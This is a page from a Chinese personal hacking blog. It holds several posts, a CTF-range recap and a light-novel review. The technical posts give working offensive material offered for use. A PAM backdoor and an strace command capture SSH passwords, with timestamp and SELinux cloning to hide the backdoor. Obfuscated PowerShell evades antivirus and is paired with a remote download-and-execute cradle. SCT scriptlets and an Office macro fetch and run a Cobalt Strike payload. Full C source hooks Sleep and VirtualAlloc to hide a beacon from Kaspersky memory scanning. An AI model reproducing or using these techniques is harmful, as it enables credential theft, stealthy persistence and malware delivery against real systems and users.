2021-05-22 | 技术文章
直接开始
原理很多咱也不多说了,主要聊聊版本查询的问题。
中文搜索直接搜索关于pam版本信息的,大部分都是关于pam后门,内容几乎千篇一律,少部分是讲解PAM作用的。
rpm -qa |grep pam
然后debian系的下运行这个命令很大概率回会啥也不返回。这时候我们就应该用
dpkg -l | grep pam
这样子就行了

推荐一个脚本
Linux-PAM-BACKDOOR
脚本使用方法就是
./backdoor.sh -m save -v 1.3.0 -o /tmp/log.txt
其中o为密码保存路径
之后就是克隆时间了
touch pam_unix.so -r pam_unix.so.src
ls -Z pam_unix.so.src
chcon –reference=pam_unix.so.src pam_unix.so
另外一种方案
如果只是为了记录密码
昨晚还从九世那学来一种新的
pid=ps -elf | grep "sshd -D" | grep -v grep | awk '{print $4}'
screen strace -f -p $pid -o /tmp/test.log -e trace=read,write -s 2048 &

Tags: none
2021-04-22 | 技术文章
前言
明天早八算什么,话不多说,开整。
相比起PE文件,直接用分割语句的方式,定位查杀点,不难发现,不论是WD,360,火绒,查杀点都定位在
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
这一语上,那么我们只要把这个混淆了不就搞定了
ps1 免杀
直接把这句提出来,单独保存为一个ps1,直接使用开源项目Invoke-Obfuscation
之后,直接使用
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
SET SCRIPTBLOCK script_block_or_command
set scriptpath 单独提取出来的ps1地址
encoding\1

之后直接把上面的语句,替换成
$var_va = .(([stRInG]$vERbosePREfEReNCE)[1,3]+'x'-JoIN'')(( ('5b', 53, 79,73, 74 , 65 ,'6d' , '2e',52 ,75 , '6e' , 74, 69, '6d' , 65,'2e' , 49 , '6e', 74 ,65 , 72, '6f',70 , 53 ,65, 72, 76, 69 , 63 ,65 ,73, '2e','4d' , 61 ,72 , 73 , 68,61 ,'6c' ,'5d', '3a','3a' ,47 ,65, 74 ,44 ,65 , '6c' ,65,67,61 ,74, 65, 46 , '6f' ,72 , 46, 75,'6e',63, 74, 69, '6f' , '6e' , 50 , '6f' ,69,'6e' , 74 ,65, 72, 28 , 28 ,66, 75,'6e',63,'5f',67, 65 ,74,'5f',70,72, '6f' ,63, '5f' ,61, 64,64, 72 ,65, 73,73,20 , '6b', 65, 72 ,'6e' , 65 , '6c',33 , 32,'2e' , 64 , '6c' , '6c' ,20 , 56,69 ,72 ,74 , 75 , 61,'6c',41,'6c' ,'6c' , '6f',63,29 ,'2c' ,20, 28 , 66 , 75,'6e', 63,'5f', 67 , 65,74 , '5f' ,64 ,65, '6c' , 65, 67,61,74,65,'5f', 74 ,79 ,70 ,65 ,20 , 40 ,28,'5b', 49,'6e',74, 50, 74, 72 , '5d' ,'2c' , 20, '5b',55,49 , '6e', 74 , 33,32, '5d','2c' , 20, '5b',55,49,'6e' ,74, 33,32, '5d','2c' , 20 , '5b', 55 , 49 ,'6e' , 74,33,32,'5d' ,29 ,20 , 28 , '5b',49 ,'6e' ,74 ,50, 74 ,72,'5d',29 ,29, 29)| fOreach-oBjEct{( [cOnVeRT]::tOInT16(( $_.TOSTrinG() ) , 16) -aS [CHar]) } ) -joIN '')



之后精简语句,直接用网络上的远程下载执行
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).P
sObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http:
///ps1.txt")
把上面的powershell放上云就行
powershell command
明天找机会写
Tags: none
2021-04-17 | 随便写的什么奇怪的东西
前言
这次去线下,很累,但也很好玩,同时也是没发挥好的一局。
说来惭愧其实是被省里安排进线下的。因为无论是线上线下都是一个人打。。然后线上距离进线下还有一定距离。
原本然后想着算了就划水了,连wp都懒得交。结果因为是本地政府办的,所以特地安排了个“本地代表队”。
然后就愉快的进去划水了。

经过
和预期的不同,这次比赛是打靶场的形式。并不是AWD形式,这是开打之前我才知道的。甚至在比赛之前一晚的讨论都是关于AWD的,
详情可以看这
靶场还是比预期的熟悉很多,上来分为7个资产和一堆其余的小资产,都在两个/24段中,之后你需要收集这些资产,打下这些站点,就和现实中有点类似,不过简化了内网渗透的流程。特别是域渗透啊钓鱼啊这方面都省去了。不过总体来说还是十分的好玩的。
有幸混了个首杀1血,直接拿tp洞打的。那些非资产的那些东西,是允许搅屎的。打完上去把shell或者漏洞点改了之后别人就登不进去了,所以基本就是比个拼手速的过程。
我也是在每个点打过去之后才知道。一个人手动慢慢每个访问过去,把所有资产理清楚之后,站点也基本被其他人打完了。
还有就是,他这个没办法反弹到我们的攻击机系统,然后冰蝎那个正向shell和rege那啥的正向反弹shell代理实在是tmd不能用,下次我一定tmd要整个web组件让cs可以网页正向上线,淦。导致内网机器压根没打。
甚至被搅屎到,我还要靠着爆破别人的webshell才能上车。因为有个组件是phpstudy部署的。然鹅我第一次用xray没扫到。。甚至赛组给了提示之后我每次都用各种exp尝试都失败,这时候你无法知道到底是你的方式有问题还是靶机有问题,不敢去找裁判。
导致最后才根据别人的车上了这个环境。
一个人打是真的太难太累了。很多都没发挥出来,甚至不如和群友打的1/10的水平。最后由于实在太菜,只摸到了个这个

(不是俺的手)
题外话
不过好处是面到了一个很早以前认识的师傅。认识的时候都不敢讲话,俺害羞。
最后还收到了Canarypwn 托同学带的明信片,真的是太太太太感谢辣

拖着保肝16小时的身躯写完了这个,不行了太困了睡啦
2021-04-16 | 技术文章
前言
突然要研究,没啥技术含量

使用
远程部署一个sct
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("powershell的cs马");
]]>
</script>
</registration>
</scriptlet>
这个只能过360,我也不知道为啥它不拦,但是总之他就是不拦截。。。
以及过其他的。
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var WSHShell = new ActiveXObject("WScript.Shell");
path = WSHShell.ExpandEnvironmentStrings("%temp%");
var filepath = path+"/asdqq";
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","你的免杀马", false);
xhr.send();
if (xhr.Status == 200) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var stream = new ActiveXObject("ADODB.Stream");
stream.Open();
stream.Type = 1;
stream.Write(xhr.ResponseBody);
stream.Position = 0;
if (fso.FileExists(filepath)){
fso.DeleteFile(filepath);
}
stream.SaveToFile(filepath);
stream.Close();
new ActiveXObject("WScript.Shell").Exec(filepath);
}
]]>
</script>
</registration>
</scriptlet>
用上面这个方法,目标开了宏就能过了。
直接给宏添加
Private Declare Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen()
DllInstall False, ByVal StrPtr("你的远程sct地址") ' False = "Don't install"
End Sub
2021-04-13 | 技术文章
前言
WBG大佬的的实现:cs bypass卡巴斯基内存查杀 跟风yansu大佬.pdf
yansu大佬的文章:记一次cs bypass卡巴斯基内存查杀
大佬们思路都骚的丫批,我就不献丑直接上代码了,原理和WBG大佬的一模一样,只不过自己实现了hook api,开箱即用
#include<windows.h>
#include<stdio.h>
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD
flAllocationType, DWORD flProtect) = VirtualAlloc;
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
LPVOID Beacon_address = NULL;
DWORD Beacon_data_len;
bool Vir_FLAG;
struct APIHeader {
#ifdef _WIN64
char buff[12];
#else
char buff[5];
#endif
int size;
};
APIHeader Sleep_Header;
APIHeader VirtualAlloc_Header;
DWORD Beacon_Memory_address_flOldProtect;
BOOL IgnoreFirst = false;
HANDLE hEvent = CreateEvent(NULL, TRUE, false, NULL);
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
//printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE,
&Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE,
&Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
// 获取 user32.dll 模块加载基址
HMODULE hDll = GetModuleHandleA(Moudle);
if (NULL == hDll)
{
return FALSE;
}
// 获取 MessageBoxA 函数的导出地址
PVOID OldFunction = GetProcAddress(hDll, Function);
if (NULL == OldFunction)
{
return FALSE;
}
// 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
// 32位
// 汇编代码:jmp _dwNewAddress
// 机器码位:e9 _dwOffset(跳转偏移)
// addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
// addr2 --> 跳转地址的值,即_dwNewAddress的值
// 跳转偏移 _dwOffset = addr2 - addr1
BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
DWORD dwNewDataSize = 5;
DWORD dwOffset = 0;
// 计算跳转偏移
dwOffset = ((DWORD)NewFunction) - (DWORD)OldFunction;
printf("raw:%x offset:%x\n", NewFunction, dwOffset);
RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
// 64位
// 汇编代码:mov rax, _dwNewAddress(0x1122334455667788)
// jmp rax
// 机器码是:
// 48 b8 _dwNewAddress(0x1122334455667788)
// ff e0
BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
DWORD dwNewDataSize = 12;
api->size = dwNewDataSize;
ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 保存原始数据
RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
//printf("address:%llx\n", OldFunction);
RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
// 还原页面保护属性
VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
// 获取 user32.dll 模块加载基址
HMODULE hDll = GetModuleHandleA(Moudle);
if (NULL == hDll)
{
return FALSE;
}
// 获取 MessageBoxA 函数的导出地址
PVOID OldFunction = GetProcAddress(hDll, Function);
if (NULL == OldFunction)
{
return FALSE;
}
// 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
DWORD dwNewDataSize = 5;
#else
DWORD dwNewDataSize = 12;
#endif
// 设置页面的保护属性为 可读、可写、可执行
DWORD dwOldProtect = 0;
VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 恢复数据
RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
// 还原页面保护属性
VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
return TRUE;
}
typedef void(__stdcall* CODE) ();
void WINAPI NewSleep(DWORD dwMilliseconds)
{
printf("sleep时间:%d\n", dwMilliseconds);
UnhookApi("kernel32.dll", "Sleep", &Sleep_Header);
if (Beacon_address) {
VirtualFree(Beacon_address, Beacon_data_len, MEM_RELEASE);
}
SetEvent(hEvent);
OldSleep(dwMilliseconds);
HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
}
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
UnhookApi("kernel32.dll", "VirtualAlloc", &VirtualAlloc_Header);
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
//HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
printf("分配大小:%d\t", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
DWORD ReadFileData(char* szFilePath, char* pBuf)
{
DWORD dwBytesRead;
HANDLE hFile;
hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, 0);
if (dwFileSize == 0)
{
CloseHandle(hFile);
return 0;
}
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
return dwFileSize;
}
DWORD GetFileSizeLen(char* szSource)
{
HANDLE hFile;
hFile = CreateFileA(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBoxA(NULL, "文件未找到!", NULL, NULL);
return 0;
}
DWORD dwFileSize = GetFileSize(hFile, 0);
if (dwFileSize == 0)
{
MessageBoxA(NULL, "文件长度为零!", NULL, NULL);
CloseHandle(hFile);
return 0;
}
CloseHandle(hFile);
return dwFileSize;
}
int main()
{
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0,
NULL);
char shelname[] = "beacon.bin";
DWORD filelen = GetFileSizeLen(shelname);
char* filebuf = new char[filelen];
ReadFileData(shelname, filebuf);
PVOID p = NULL;
if ((p = VirtualAlloc(NULL, filelen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
if (!(memcpy(p, filebuf, filelen)))
MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
CODE code = (CODE)p;
code();
CloseHandle(hThread1);
}
根据wbg大佬的指点,beacon.bin必须是cs生成无阶段木马的raw,不能用分阶段或者直接生成shellcode。
2021-04-09 | 随便写的什么奇怪的东西
起因
今天再顺着课闲得无聊把《三日间的幸福》给看了,之前就看过三秋縋老贼的书那年夏天xxxxxx电话系列的书,看完了这一本不如说老贼的套路一如寻常。而且正好周末了,我现在也正好想摸鱼,就顺带写写一些这些的感想吧。
先说河野裕的《昨日寻找星星的借口》
观前提醒,全文非常主观,作者视野狭义,文笔垃圾。如有任何不同意见已您的为准。
同时为了不剧透,推荐看完后再看以下的感想
昨日寻找星星的借口

那时,我曾恋慕着她。 如果说这句话里有什么谎言,也就是我用了过去时罢了。
升学到全寄宿制初高中一体校后,坂口孝文与茅森良子成了同学。茅森天生有一双绿色的眼睛,在这个表面上已经不会因眼睛的颜色而产生歧视的国家,她立志成为首相,想创造真正平等的社会。与坂口变得亲近后,茅森对他说出了自己的秘密。茅森会成为图书委员,是为了寻找电影导演——清寺时生的珍稀剧本《海豚之歌》。
看之前我还没注意到这是《重启咲良田》的作者,只是看着封面和简介有点意思就打开了。毕竟上课时间太无聊了只想随手看一些短篇作品。看着这简介我可能感觉这是“哦,又是一本轻文学”,看完之后,有一点难懂,但是又感觉也就普通的“就这?”。
书里塑造了两个阶级“黑眼睛”和“绿眼睛”,黑眼睛占大多数,绿眼睛则受到了各种原因的压迫。
其中男主是黑眼睛,女主是绿眼睛。然后女主想创造一个不平等的世界,但是实际上是想寻找自己妈妈参演的一部作品《海豚之歌》,原因是收到这本书的内容所打动。
然后某种原因男女主相识相遇发生一系列故事然后离别然后重逢。

从这就可以看出来,这是一个关于打着恋爱旗号的思潮对抗的题材。这本书在我看来就是每个人都散发着自己的正义,然后互相伤害,然后互相和解的事情。
用正论抒发自己的正义,配合轻文学优美辞藻以及细腻的人物刻画,初看可能会觉得这本书很高大上,然而认真理解玩内容可能具体含义也就那样。
全文看似围绕着“平等”两个字展开,如果说这个小说是一本议论文,那么“平等”就是这个小说的论题,然而这篇议论文,却在小说最后离题了。
剧情总体高潮点在于三个地方,一个是从友人生体缺陷,还有一个是黑眼睛的压迫和绿眼睛的反抗,最后是男女主两个人独立的思潮对抗。
前面两点对于我们来说看的似乎可以算是有点浅显了,因为书中的所谓”反抗“的做法在我个人认为程度算是小孩过家家。毕竟我们曾经可是真的推翻过三座大山的民族。书里的做法不说革 命,甚至连修正主义都算不上。
既然抛出了“公平”这一论题,那么最后有解决吗?实际上并没有,这么长公平的铺垫,不过是最后为了《海豚之歌》这一意象所展开。《海豚之歌》是讲述着一个没有压迫,大家都是绝对公平的世界。女主就是追求着这样的世界,然而因为各种原因女主没有看到结局。男主和女主用自己理想所创造的伪物《海豚之歌》遇到了现实中的一把无情的尖刀:真实《海豚之歌》的结局是个Bad End。
然而,其实全文的重点不在于公平,作者主要想表达的是善意的"歧视"是否也算一种不公平,女主养父因为女主的眼睛问题怕女主受到歧视,而选择带有善意的“歧视”不让女主去那所学校,而老师因为基友身体的原因,试图修改原本顶下的路程为好走的路。
当然最后女主和基友都成功防抗过了。女主最后进了学校并如愿以偿的站在了顶点,而基友靠着自己的意志走完了全程。这是前两个矛盾点。每个人都抒发了自己的正义,然后每个人都为自己的正义而战,看起来确实挺不错?
最后一个矛盾点,是在于男主发现海豚之歌的结局。想的是保护女主不破坏女主的希望,而女主是想只要我们两在一起无论什么我们都能解决。最后两人决裂然后再过许久重逢。
看到问题了吧,不仅“平等”这一个问题根本就没得到解决。甚至处理都没有,一切都只是为了男女主的冲突引发的高潮而出现的。甚至最后男主和女主的对立面的矛盾点,和前面两个矛盾点有点实在有点强差人意。之前带有善意的“歧视”是因为客观上的身体原因。而男主为什么就不能单纯以心疼的角度而言来诠释自己的不告诉女主的行为?这是否又和公平有关系?
前期铺垫了许多海豚之歌的内容,然而最后高潮的缺不在于海豚之歌,海豚之歌完全沦为了工具人
前期看似高大上的思想,不同之间的思潮对抗,冲突,似乎瞬间都消失了一般。成为了男女主感情抒发的垫脚石。所以我才觉得这本书“就这?”
当然我也不是觉得这样不好,因为这些命题就等于大学生辩论赛的论题一样没有人是错的,强行得出结论反而会被说成观点狭义。又或者说作者认为在女主打破规矩成为学生会长之后就代表绿眼睛已经成功反抗了压迫了?
最后不只对于中间“公平”的定义没有讲完整。就连最后恋爱的结局也是给我们一个开放式的Happy End,为什么说是开放式Happy End呢?因为最后boy 确实meets girls again了,但是实际上发的糖也不多,基本就是尾声中一两句的级别,过于生硬。
总体而言,就是一本将着大道理实际上还是普通谈恋爱的小说。看似精美,实际上也就这样。不过作为一个普通的短篇还算不错。也不用指望它能讲啥大道理。就是普普通通的“就这?”
以上,是作为正常文学来评价该书的内容。那么作为一本轻小说呢?
作为轻小说而言,它还是合格的。毕竟对于轻小说来说,以上的缺点都不用在意,因为那不是作为轻小说该有的职责。
单单从人物细腻的刻画,和合理并不突兀的剧情来讲,这本小说就已经是一本非常不错的轻小说了。
反正如果出港版或者台版我是会考虑入手的。
《三日间的幸福》

这本书和上面那本相比,槽点就没那么多了
这书和之前河野裕的那本不太一样在于,这本书是爱情作为主线,其他关于人生的意义这些宏大的念头反倒是本书的支线。。和上次说的《昨日寻找星星的借口》的不同点大概就在这里。
这种模式我倒是比较喜欢,毕竟动辄人生意义社会伦理什么的对我来说太过遥远了。。并且我也不是什么文学少年,对我这种直男大脑来说可能太过复杂。
总之,《三日间的幸福》从架构上来说是我喜欢的,短小精简唯美,相比于长篇连载,我一直都挺喜欢这种短小精美的短篇风格,当然更主要的原因是因为只有一本好搜集全,钱包也好说,同时我也有耐心看得下去。
虽说如此,然而依旧是三秋縋老贼一贯的套路。抛开了给出的命题之外。三秋縋的套路就十分浅显易懂了。戏剧性的“虐”再给出一个略微“突出”的结尾。不是说这个不行,但是主要是“虐”的太套路化了。难以形成共鸣。
为了戏剧小说,三秋縋可以说算得上是从各种方面虐过一遍,甚至还要拉出青梅虐一下来推动下剧情。
虽然我知道大部分程度是把“虐”作为包装小说的情节发展的必需品,但是长久这样下来还是会审美疲劳。
除了这个槽点之外,还有一个槽点就是情感铺垫略少进度太快了。。不过这个对于短篇小说来说这个缺点就完全是可有可无的。
总的观感就是这样了。实体已入。而且看样子台版有可能也快绝版的样子。
如果不看老贼其他系列,单看这一本,不得不说它确实算得上是一个包装精美的“艺术品”。而且还是我挺喜欢的那种“艺术品”
other
说带说一下,《三日间的幸福》这种结局我还是挺喜欢的,相比《昨日寻找星星的借口》这样在高潮中结束。和《少女终末旅行》《妹妹人生》结局差不多,在黑暗中散唯一一只萤火虫努力的闪耀光芒,最后燃尽死去的感觉差不多。就像舞台剧一样,在璀璨过后安静被人遗忘的落幕并给予我们遐想的空间。
这么看来我还确实是挺喜欢这类作品的。不知道还有没有类似的作品摩多摩多
- «
- 1
- ...
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- ...
- 34
- »
文章总数:200篇 分类总数:4个